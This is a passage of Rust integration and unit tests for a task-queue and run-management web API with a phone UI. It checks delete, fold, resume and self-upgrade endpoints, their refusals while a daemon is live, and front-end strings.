8942 beat.current = vec![crate::daemon::Current {
8943 task: t2.id.clone(),
8944 run: "20260901-000000-r222".to_owned(),
8945 }];
8946 beat.updated_at = jiff::Timestamp::now();
8947 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8948 .expect("publish a heartbeat");
8949 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
8950 assert_eq!(res.status, 409);
8951 assert!(
8952 res.json()["error"]
8953 .as_str()
8954 .unwrap()
8955 .contains("live daemon")
8956 );
8957 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
8958
8959 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
8965 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8966 .expect("leave a stale heartbeat");
8967 let mut t3 = Task::new(
8968 "Task 3".to_owned(),
8969 "Instruction 3".to_owned(),
8970 PathBuf::from("/repo"),
8971 Source::Human,
8972 );
8973 t3.status = TaskStatus::Running;
8974 q.put(&mut t3).expect("put t3");
8975 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
8976 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
8977 assert_eq!(res.status, 204);
8978 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
8979 assert!(
8980 q.claim(&t3.id).is_ok(),
8981 "the stale lock went with it, so the id is claimable again"
8982 );
8983
8984 let res = fx.delete("/api/queue/nonexistent").await;
8986 assert_eq!(res.status, 404);
8987 }
8988
8989 #[tokio::test]
8990 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
8991 let fx = Fixture::start().await;
8992 let runs = fx.runs();
8993
8994 let run_id = "20260901-000000-fold";
8996 let mut state = RunState::new(
8997 PathBuf::from("/repo"),
8998 "main".to_owned(),
8999 "abc".to_owned(),
9000 "instruction".to_owned(),
9001 Config::default(),
9002 );
9003 state.id = run_id.to_owned();
9004 state.status = RunStatus::Merged;
9005 state.candidates.push(crate::run::Candidate {
9006 index: 0,
9007 label: 'A',
9008 agent: "a".to_owned(),
9009 branch: "b".to_owned(),
9010 worktree: PathBuf::from("/w"),
9011 summary: String::new(),
9012 stat: String::new(),
9013 files: 1,
9014 commits: 1,
9015 empty: false,
9016 failed: None,
9017 verified_noop: None,
9018 duration_ms: 0,
9019 folded: true,
9020 });
9021 let dir = runs.join(run_id);
9022 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9023 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9024 .expect("write artifact");
9025 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9026 .expect("write run.json");
9027
9028 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9030 assert_eq!(res.status, 204);
9031 assert!(res.body.is_empty(), "204 has no body");
9032 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9033
9034 let run_running = "20260901-000000-rung";
9039 write_run(&runs, run_running, RunStatus::Prep);
9040 let mut beat = crate::daemon::Status::new();
9041 beat.current = vec![crate::daemon::Current {
9042 task: "20260901-000000-task".to_owned(),
9043 run: run_running.to_owned(),
9044 }];
9045 beat.updated_at = jiff::Timestamp::now();
9046 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9047 .expect("publish a heartbeat");
9048 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9049 assert_eq!(res.status, 409);
9050 assert!(
9051 res.json()["error"]
9052 .as_str()
9053 .unwrap()
9054 .contains("live daemon"),
9055 "the refusal must say who is holding it"
9056 );
9057 assert!(
9058 runs.join(run_running).exists(),
9059 "a run in flight keeps its directory"
9060 );
9061
9062 let run_unfolded = "20260901-000000-unfd";
9064 let mut state2 = RunState::new(
9065 PathBuf::from("/repo"),
9066 "main".to_owned(),
9067 "abc".to_owned(),
9068 "instruction".to_owned(),
9069 Config::default(),
9070 );
9071 state2.id = run_unfolded.to_owned();
9072 state2.status = RunStatus::Ready;
9073 state2.candidates.push(crate::run::Candidate {
9074 index: 0,
9075 label: 'A',
9076 agent: "a".to_owned(),
9077 branch: "b".to_owned(),
9078 worktree: PathBuf::from("/w"),
9079 summary: String::new(),
9080 stat: String::new(),
9081 files: 1,
9082 commits: 1,
9083 empty: false,
9084 failed: None,
9085 verified_noop: None,
9086 duration_ms: 0,
9087 folded: false,
9088 });
9089 let dir2 = runs.join(run_unfolded);
9090 std::fs::create_dir_all(&dir2).expect("create dir2");
9091 std::fs::write(
9092 dir2.join("run.json"),
9093 serde_json::to_string(&state2).unwrap(),
9094 )
9095 .expect("write run.json");
9096
9097 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9098 assert_eq!(res.status, 409);
9099 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9100 assert!(dir2.exists(), "unfolded run directory is kept");
9101
9102 let res = fx.delete("/api/runs/nonexistent").await;
9104 assert_eq!(res.status, 404);
9105 }
9106
9107 #[test]
9116 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9117 let start = APP_JS
9118 .find("function renderStats() {")
9119 .expect("renderStats");
9120 let end = start
9121 + APP_JS[start..]
9122 .find("function statsTile(")
9123 .expect("the next top-level function");
9124 let body = &APP_JS[start..end];
9125
9126 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9127 let gate_end = gate_start
9128 + body[gate_start..]
9129 .find("}\n renderStatsQueue")
9130 .expect("the gate's own closing brace, right before the unconditional call");
9131 let gated = &body[gate_start..gate_end];
9132
9133 assert_eq!(
9134 body.matches("renderStatsQueue(").count(),
9135 1,
9136 "renderStats must call renderStatsQueue exactly once: {body}"
9137 );
9138 assert!(
9139 !gated.contains("renderStatsQueue"),
9140 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9141 run-derived panels on an empty run history - the queue panel has to render \
9142 regardless: {gated}"
9143 );
9144 }
9145
9146 #[test]
9147 fn web_ui_delete_contract_in_front_end() {
9148 assert!(APP_JS.contains("deleteRun:"));
9150 assert!(APP_JS.contains("deleteTask:"));
9151
9152 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9154 ..APP_JS.find("function renderRuns").unwrap()];
9155 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9156
9157 assert!(APP_JS.contains("renderRunDelete"));
9159 assert!(APP_JS.contains("runDeleteReason"));
9160 assert!(APP_JS.contains("magi fold"));
9161 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9162
9163 assert!(APP_JS.contains("cancel.focus"));
9165 assert!(APP_JS.contains("armedRunDelete"));
9166 assert!(APP_JS.contains("armedDelete"));
9167
9168 assert!(APP_JS.contains("disabled: status === \"running\""));
9170 }
9171
9172 #[test]
9192 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9193 let build = APP_JS
9194 .find("function createRunCard")
9195 .expect("createRunCard exists");
9196 let update = APP_JS
9197 .find("function updateRunCard")
9198 .expect("updateRunCard exists");
9199 let end = APP_JS
9200 .find("function renderRuns")
9201 .expect("renderRuns exists");
9202
9203 let builder = &APP_JS[build..update];
9205 let open = builder.find("refs = {").expect("createRunCard sets refs");
9206 let literal = &builder[open + "refs = {".len()..];
9207 let close = literal.find('}').expect("the refs literal is closed");
9208 let published: HashSet<&str> = literal[..close]
9209 .split(',')
9210 .filter_map(|entry| entry.split(':').next())
9212 .map(str::trim)
9213 .filter(|name| !name.is_empty())
9214 .collect();
9215 assert!(
9216 published.len() > 5,
9217 "the refs literal did not parse into names: {published:?}"
9218 );
9219
9220 let mut used: Vec<&str> = Vec::new();
9223 let updaters = &APP_JS[update..end];
9224 for (at, _) in updaters.match_indices("r.") {
9225 let before = updaters[..at].chars().next_back();
9228 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9229 continue;
9230 }
9231 let rest = &updaters[at + 2..];
9232 let len = rest
9233 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9234 .unwrap_or(rest.len());
9235 if len > 0 {
9236 used.push(&rest[..len]);
9237 }
9238 }
9239 assert!(
9240 used.len() > 5,
9241 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9242 );
9243
9244 let missing: Vec<&str> = used
9245 .iter()
9246 .copied()
9247 .filter(|name| !published.contains(name))
9248 .collect();
9249 assert!(
9250 missing.is_empty(),
9251 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9252 never put in `refs` - every card will throw and the list will \
9253 render empty under a count line that says otherwise. Published: \
9254 {published:?}"
9255 );
9256 }
9257
9258 #[tokio::test]
9259 async fn folding_from_the_phone_reports_what_it_removed() {
9260 let fx = Fixture::start().await;
9261 let runs = fx.runs();
9262
9263 let id = "20260901-000000-fold";
9267 write_run(&runs, id, RunStatus::Stalled);
9268 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9269 assert_eq!(res.status, 200);
9270 assert_eq!(res.json()["removed_count"], 0);
9271 assert_eq!(res.json()["run"], id);
9272 assert!(
9273 runs.join(id).exists(),
9274 "a fold keeps the run's record; only the worktrees go"
9275 );
9276 }
9277
9278 #[tokio::test]
9279 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9280 let fx = Fixture::start().await;
9281 let runs = fx.runs();
9282 let wt = fx.home.path().join("wt").join("magi").join("dead");
9283 let id = "20260901-000000-dead";
9284 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9285 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9286 std::fs::create_dir_all(&wt).expect("worktree dir");
9287
9288 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9289 assert_eq!(res.status, 200, "{}", res.body);
9290 assert!(
9291 res.json()["removed_count"].as_u64().unwrap() > 0,
9292 "the worktree this build could not read a state for still went"
9293 );
9294 assert!(
9295 !runs.join(id).exists(),
9296 "an unreadable run has no candidate list to fold selectively, so \
9297 the whole record goes - same as `magi fold` on the CLI"
9298 );
9299 }
9300
9301 #[tokio::test]
9302 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9303 let fx = Fixture::start().await;
9304 let runs = fx.runs();
9305 let wt = fx.home.path().join("wt").join("magi").join("gone");
9306 let id = "20260901-000000-gone";
9307 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9308 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9309 std::fs::create_dir_all(&wt).expect("worktree dir");
9310
9311 let res = fx.delete(&format!("/api/runs/{id}")).await;
9312 assert_eq!(res.status, 204, "{}", res.body);
9313 assert!(!runs.join(id).exists(), "the broken record is gone");
9314 assert!(!wt.exists(), "its worktree is gone too");
9315 }
9316
9317 #[tokio::test]
9318 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9319 let fx = Fixture::start().await;
9320 let runs = fx.runs();
9321 let id = "20260901-000000-live";
9322 write_run(&runs, id, RunStatus::Implementing);
9323
9324 let mut beat = crate::daemon::Status::new();
9325 beat.current = vec![crate::daemon::Current {
9326 task: "20260901-000000-task".to_owned(),
9327 run: id.to_owned(),
9328 }];
9329 beat.updated_at = jiff::Timestamp::now();
9330 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9331 .expect("publish a heartbeat");
9332
9333 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9334 assert_eq!(res.status, 409);
9335 assert!(
9336 res.json()["error"]
9337 .as_str()
9338 .unwrap()
9339 .contains("live daemon"),
9340 "folding under a running agent would pull its worktree away"
9341 );
9342 }
9343
9344 #[tokio::test]
9345 async fn fold_merged_requires_a_pr_url() {
9346 let fx = Fixture::start().await;
9347 let runs = fx.runs();
9348 let id = "20260901-000000-nourl";
9349 write_run(&runs, id, RunStatus::Blocked);
9350
9351 let res = fx
9352 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9353 .await;
9354 assert_eq!(res.status, 400, "{}", res.body);
9355
9356 let blank = fx
9357 .post(
9358 &format!("/api/runs/{id}/fold-merged"),
9359 Some(r#"{"pr_url":" "}"#),
9360 )
9361 .await;
9362 assert_eq!(blank.status, 400, "{}", blank.body);
9363 }
9364
9365 #[tokio::test]
9366 async fn fold_merged_is_404_for_an_unknown_run() {
9367 let fx = Fixture::start().await;
9368 let res = fx
9369 .post(
9370 "/api/runs/nosuchrun/fold-merged",
9371 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9372 )
9373 .await;
9374 assert_eq!(res.status, 404, "{}", res.body);
9375 }
9376
9377 #[tokio::test]
9378 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9379 let fx = Fixture::start().await;
9380 let runs = fx.runs();
9381 let id = "20260901-000000-livemerge";
9382 write_run(&runs, id, RunStatus::Blocked);
9383
9384 let mut beat = crate::daemon::Status::new();
9385 beat.current = vec![crate::daemon::Current {
9386 task: "20260901-000000-task".to_owned(),
9387 run: id.to_owned(),
9388 }];
9389 beat.updated_at = jiff::Timestamp::now();
9390 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9391 .expect("publish a heartbeat");
9392
9393 let res = fx
9394 .post(
9395 &format!("/api/runs/{id}/fold-merged"),
9396 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9397 )
9398 .await;
9399 assert_eq!(res.status, 409, "{}", res.body);
9400 assert!(
9401 res.json()["error"]
9402 .as_str()
9403 .unwrap()
9404 .contains("live daemon"),
9405 "correcting a run's merge underneath a running agent would race \
9406 whatever it is doing to the same `status`/`merge` fields"
9407 );
9408 }
9409
9410 #[tokio::test]
9415 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9416 let fx = Fixture::start().await;
9417 let runs = fx.runs();
9418 let id = "20260901-000000-unconfirmed";
9419 write_run(&runs, id, RunStatus::Blocked);
9420
9421 let res = fx
9422 .post(
9423 &format!("/api/runs/{id}/fold-merged"),
9424 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9425 )
9426 .await;
9427 assert_eq!(res.status, 400, "{}", res.body);
9428 assert_eq!(
9429 read_run(&runs, id).unwrap().status,
9430 RunStatus::Blocked,
9431 "a pull request that could not be confirmed merged must leave \
9432 the run exactly where it was"
9433 );
9434 }
9435
9436 #[tokio::test]
9437 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9438 let fx = Fixture::start().await;
9439 let runs = fx.runs();
9440
9441 for (status, word) in [
9447 (RunStatus::Merged, "merged"),
9448 (RunStatus::Ready, "ready"),
9449 (RunStatus::Failed, "failed"),
9450 ] {
9451 let id = format!("20260901-000000-{}", &word[..4]);
9452 write_run(&runs, &id, status);
9453 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9454 assert_eq!(res.status, 409, "{word} must not be resumable");
9455 let err = res.json()["error"].as_str().unwrap().to_owned();
9456 assert!(err.contains(word), "the refusal names the status: {err}");
9457 }
9458
9459 let mid = "20260901-000000-midf";
9464 write_run(&runs, mid, RunStatus::Reviewing);
9465 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9466 assert_eq!(res.status, 202, "an interrupted run is resumable");
9467 }
9468
9469 #[tokio::test]
9470 async fn resume_is_refused_while_the_loop_is_running() {
9471 let fx = Fixture::start().await;
9472 let runs = fx.runs();
9473 let stalled = "20260901-000000-stal";
9474 write_run(&runs, stalled, RunStatus::Stalled);
9475
9476 let mut beat = crate::daemon::Status::new();
9480 beat.current = vec![crate::daemon::Current {
9481 task: "20260901-000000-task".to_owned(),
9482 run: "20260901-000000-othr".to_owned(),
9483 }];
9484 beat.updated_at = jiff::Timestamp::now();
9485 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9486 .expect("publish a heartbeat");
9487
9488 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9489 assert_eq!(res.status, 409);
9490 let err = res.json()["error"].as_str().unwrap().to_owned();
9491 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9492 assert!(err.contains("stop it first"), "{err}");
9493 }
9494
9495 #[test]
9496 fn a_run_cannot_be_resumed_twice_at_once() {
9497 let home = TempDir::new().expect("temp home");
9498 let ui = Ui::new(
9499 Queue::at(home.path().join("queue")),
9500 Questions::at(home.path().join("questions")),
9501 Talks::at(home.path().join("talks")),
9502 home.path().join("runs"),
9503 home.path().to_path_buf(),
9504 PathBuf::from("/repo"),
9505 )
9506 .with_worktrees_root(home.path().join("wt"));
9507 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9508 let again = ui.begin_resume("20260901-000000-once");
9509 assert!(again.is_err(), "a second tap must not start a second graph");
9510 drop(first);
9511 assert!(
9512 ui.begin_resume("20260901-000000-once").is_ok(),
9513 "and the claim is released when the attempt ends"
9514 );
9515 }
9516
9517 #[test]
9518 fn talk_thinking_tracks_only_its_held_turn_claim() {
9519 let home = TempDir::new().expect("temp home");
9520 let ui = Ui::new(
9521 Queue::at(home.path().join("queue")),
9522 Questions::at(home.path().join("questions")),
9523 Talks::at(home.path().join("talks")),
9524 home.path().join("runs"),
9525 home.path().to_path_buf(),
9526 PathBuf::from("/repo"),
9527 )
9528 .with_worktrees_root(home.path().join("wt"));
9529 let id = "20260901-000000-once";
9530
9531 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9532 let turn = ui.begin_talk_turn(id).expect("claim turn");
9533 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9534 assert!(
9535 !ui.is_thinking("20260901-000000-other"),
9536 "one talk's turn does not make another talk busy"
9537 );
9538 drop(turn);
9539 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9540 }
9541
9542 #[tokio::test]
9543 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9544 let fx = Fixture::start().await;
9545 let mut beat = crate::daemon::Status::new();
9549 beat.pid = 4321;
9550 beat.updated_at = jiff::Timestamp::now();
9551 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9552 .expect("publish a heartbeat");
9553
9554 let res = fx.post("/api/upgrade", None).await;
9555 assert_eq!(res.status, 409);
9556 let err = res.json()["error"].as_str().unwrap().to_owned();
9557 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9558 assert!(err.contains("old one against the same queue"), "{err}");
9559 }
9560
9561 #[test]
9568 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9569 assert!(!should_spawn_recheck(&crate::config::Update {
9570 mode: UpdateMode::Off,
9571 interval: None,
9572 }));
9573
9574 unsafe {
9577 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9578 }
9579 let killed = should_spawn_recheck(&crate::config::Update {
9580 mode: UpdateMode::Notify,
9581 interval: None,
9582 });
9583 unsafe {
9584 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9585 }
9586 assert!(
9587 !killed,
9588 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9589 one-time startup check"
9590 );
9591
9592 assert!(should_spawn_recheck(&crate::config::Update {
9593 mode: UpdateMode::Notify,
9594 interval: None,
9595 }));
9596 }
9597
9598 #[test]
9604 fn recheck_poll_period_tracks_a_short_configured_interval() {
9605 let short = crate::config::Update {
9606 mode: UpdateMode::Notify,
9607 interval: Some("1m".to_owned()),
9608 };
9609 let period = recheck_poll_period(&short);
9610 assert!(
9611 period <= Duration::from_secs(30),
9612 "a one-minute interval must wake the task far sooner than the \
9613 default ceiling, or the deck would not notice within the \
9614 interval the operator configured: got {period:?}"
9615 );
9616
9617 let default = crate::config::Update {
9618 mode: UpdateMode::Notify,
9619 interval: None,
9620 };
9621 assert_eq!(
9622 recheck_poll_period(&default),
9623 UPDATE_RECHECK_POLL_MAX,
9624 "the default day-long interval should poll at the (capped) \
9625 ceiling rather than needlessly often"
9626 );
9627 }
9628
9629 #[test]
9637 fn recheck_skips_the_network_before_the_interval_elapses() {
9638 let dir = TempDir::new().expect("temp dir");
9639 let path = dir.path().join("state.json");
9640 let state = kaishin::UpdateCheckState {
9641 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9642 last_known_latest: None,
9643 last_known_url: None,
9644 };
9645 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9646
9647 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9648 assert!(
9649 !update_recheck_due(&checker, None),
9650 "a check made moments ago must not be repeated before the \
9651 configured interval elapses"
9652 );
9653 }
9654
9655 #[test]
9661 fn recheck_defers_to_an_upgrade_already_in_flight() {
9662 let dir = TempDir::new().expect("temp dir");
9663 let path = dir.path().join("state.json");
9664 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9665 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9666
9667 assert!(
9668 !update_recheck_due(&checker, Some(&progress)),
9669 "a recheck must not run while an upgrade this deck started is \
9670 still moving"
9671 );
9672 }
9673
9674 #[tokio::test]
9675 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9676 unsafe {
9688 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9689 }
9690 let fx = Fixture::start().await;
9691 let res = fx.post("/api/upgrade", None).await;
9692 unsafe {
9693 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9694 }
9695 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9696 let body = res.json();
9697 assert!(body["to"].is_null(), "there was no release to move to");
9698 assert!(body["parked"].is_null(), "and nothing was parked");
9699 assert!(
9700 body["detail"]
9701 .as_str()
9702 .unwrap()
9703 .contains("disabled by MAGI_NO_AUTOUPDATE"),
9704 "{body:?}"
9705 );
9706 }
9707
9708 #[tokio::test]
9709 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9710 let repo = TempDir::new().expect("repo dir");
9726 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9727 .expect("write magi.toml");
9728 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9729
9730 let res = fx.post("/api/upgrade", None).await;
9736 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9737 let body = res.json();
9738 assert!(body["to"].is_null(), "there was no release to move to");
9739 assert!(body["parked"].is_null(), "and nothing was parked");
9740 assert!(
9741 body["detail"]
9742 .as_str()
9743 .unwrap()
9744 .contains("nothing restarted"),
9745 "{body:?}"
9746 );
9747 }
9748
9749 #[tokio::test]
9750 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9751 let repo = TempDir::new().expect("repo dir");
9756 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9757 .expect("write magi.toml");
9758 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9759
9760 let health = fx.get("/api/health").await.json();
9761 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9762 assert_eq!(
9763 health["update"]["available"], false,
9764 "checking is off, which reads as \"unknown\", not \"none\""
9765 );
9766 assert!(health["update"]["to"].is_null());
9767 assert!(
9768 health["upgrade"].is_null(),
9769 "nothing has ever asked this deck to upgrade"
9770 );
9771 }
9772
9773 #[tokio::test]
9774 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9775 let fx = Fixture::start().await;
9776 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9777
9778 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9779 progress.parked_run = Some("20260905-000000-cd51".to_owned());
9780 progress.advance(crate::updater::Stage::Parking);
9781 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9782
9783 let health = fx.get("/api/health").await.json();
9784 assert_eq!(health["upgrade"]["stage"], "parking");
9785 assert_eq!(health["upgrade"]["from"], "0.5.1");
9786 assert_eq!(health["upgrade"]["to"], "0.5.2");
9787 let waiting_on = health["upgrade"]["waiting_on"]
9788 .as_str()
9789 .expect("waiting_on is set while parking a known run");
9790 assert!(waiting_on.contains("cd51"), "{waiting_on}");
9791 assert!(waiting_on.contains("implementing"), "{waiting_on}");
9792 }
9793
9794 #[tokio::test]
9795 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
9796 let fx = Fixture::start().await;
9797 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9798 progress.advance(crate::updater::Stage::Done);
9799 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9800
9801 let health = fx.get("/api/health").await.json();
9802 assert_eq!(health["upgrade"]["stage"], "done");
9803 assert!(
9804 health["upgrade"]["waiting_on"].is_null(),
9805 "nothing to wait on once it is done"
9806 );
9807 }
9808
9809 #[tokio::test]
9810 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
9811 let home = TempDir::new().expect("temp home");
9812 let runs = home.path().join("runs");
9813 std::fs::create_dir_all(&runs).expect("runs dir");
9814 let ui = Ui::new(
9815 Queue::at(home.path().join("queue")),
9816 Questions::at(home.path().join("questions")),
9817 Talks::at(home.path().join("talks")),
9818 runs,
9819 home.path().to_path_buf(),
9820 PathBuf::from("/repo/magi"),
9821 )
9822 .with_launch(launch_idle);
9823 let looping = ui.looping();
9824 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9825 .await
9826 .expect("bind loopback");
9827 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9828
9829 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9830 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
9831
9832 hand_over(home.path(), &looping, served, || Ok(()))
9833 .await
9834 .expect("hand over");
9835
9836 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
9837 assert_eq!(
9838 after.stage,
9839 crate::updater::Stage::Restarting,
9840 "hand_over owns the record through parking and up to restarting; \
9841 the successor is what finishes it"
9842 );
9843 }
9844
9845 #[test]
9846 fn the_upgrade_button_arms_before_it_restarts_anything() {
9847 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
9850 assert!(APP_JS.contains("Replace the binary and restart?"));
9851 assert!(APP_JS.contains("function confirmed("));
9852 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
9857 assert!(
9861 APP_JS.contains("Parking, then restarting"),
9862 "the button says what it is waiting for"
9863 );
9864 assert!(APP_JS.contains("if (!out.to)"));
9867 }
9868
9869 #[test]
9870 fn stopping_the_loop_arms_but_starting_does_not() {
9871 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
9874 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
9875 assert!(APP_JS.contains("confirmed(button, question)"));
9876 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
9879 assert!(APP_JS.contains("const label = btn.textContent;"));
9880 assert!(!APP_JS.contains("Neither direction is guarded"));
9881 }
9882
9883 #[test]
9884 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
9885 assert!(
9886 APP_JS.contains("state.health.version"),
9887 "the operator wants to know what is running even with nothing newer"
9888 );
9889 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
9890 }
9891
9892 #[test]
9893 fn the_upgrade_button_names_its_destination() {
9894 assert!(
9895 APP_JS.contains("`Update to ${update.to}`"),
9896 "pressing the button should not be a surprise about what it moves to"
9897 );
9898 }
9899
9900 #[test]
9901 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
9902 for stage in ["downloading", "replaced", "parking", "restarting"] {
9903 assert!(
9904 APP_JS.contains(&format!("\"{stage}\"")),
9905 "the phone must be able to tell {stage} apart from the others"
9906 );
9907 }
9908 assert!(APP_JS.contains(".waiting_on"));
9909 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
9914 assert!(APP_JS.contains("reconnects on its own"));
9915 }
9916
9917 #[test]
9918 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
9919 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
9928 ..APP_JS.find("function upgrade(").expect("upgrade")];
9929 assert!(
9930 !body.contains(
9931 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
9932 ),
9933 "a failed upgrade must not take the whole strip over the way it used to"
9934 );
9935 assert!(
9936 body.contains("upgradeFailNote"),
9937 "the failure has to reach the loop's own note instead"
9938 );
9939 assert_eq!(
9943 body.matches("upgradeFailNote].filter(Boolean).join")
9944 .count(),
9945 2,
9946 "both loop-why writers (quiet and control) must fold the note in"
9947 );
9948 }
9949
9950 #[test]
9951 fn an_overdue_upgrade_eventually_asks_for_a_human() {
9952 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
9955 assert!(APP_JS.contains("function upgradeOverdue("));
9956 }
9957
9958 #[test]
9959 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
9960 assert!(
9961 APP_JS.contains("Updated to ${upgradeInfo.to"),
9962 "the operator who asked for the restart wants to know it worked"
9963 );
9964 }
9965
9966 #[test]
9967 fn an_error_is_visible_from_where_the_button_is() {
9968 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
9973 ..APP_CSS.find(".alert-text").expect(".alert-text")];
9974 assert!(
9975 alert.contains("position: fixed"),
9976 "an error about the thing under your thumb has to be visible from \
9977 where your thumb is: {alert}"
9978 );
9979 assert!(
9980 alert.contains("z-index: 25"),
9981 "above the dock (20) and the run-actions FAB (15), so neither \
9982 buries it: {alert}"
9983 );
9984 assert!(
9985 alert.contains("var(--tap)"),
9986 "and clear of the dock and the home indicator: {alert}"
9987 );
9988 assert!(
9991 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
9992 "the FAB's column stays free: {alert}"
9993 );
9994 }
9995
9996 #[tokio::test]
9997 async fn an_older_attempt_says_what_replaced_it() {
9998 let fx = Fixture::start().await;
9999 let q = fx.queue();
10000 let runs = fx.runs();
